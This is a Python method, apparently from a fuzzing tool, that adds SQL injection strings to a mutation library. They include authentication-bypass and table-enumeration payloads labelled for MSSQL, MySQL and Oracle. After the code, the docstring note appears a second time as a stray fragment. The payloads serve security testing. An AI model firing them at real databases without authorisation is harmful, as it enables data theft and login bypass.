def _add_sql_injection_strings(self, lib):
        '''
        .. note::

            The following mutations will probably not be detected
            unless some entity will check the response from the target
            on the validity of the DB.
        '''
        entries = [
            ("' or 1=1 --", 'mssql - bypass check'),
            ("\'; desc users; --", 'mysql - mssql - get desc users'),
            ("' or username is not NULL or username = '", 'mysql - mssql - bypass check'),
            ("1 union all select 1,2,3,4,5,6,name from sysobjects where xtype = 'u' --", 'mysql - mssql - get sysobjects'),
            ("` or `1`=`1", 'oracle - bypass check'),
            ("' or '1'='1", 'oracle - bypass check'),
        ]
        for (s, desc) in entries:
            lib.append((s, 'sqli - %s' % desc))
.. note::

            The following mutations will probably not be detected
            unless some entity will check the response from the target
            on the validity of the DB.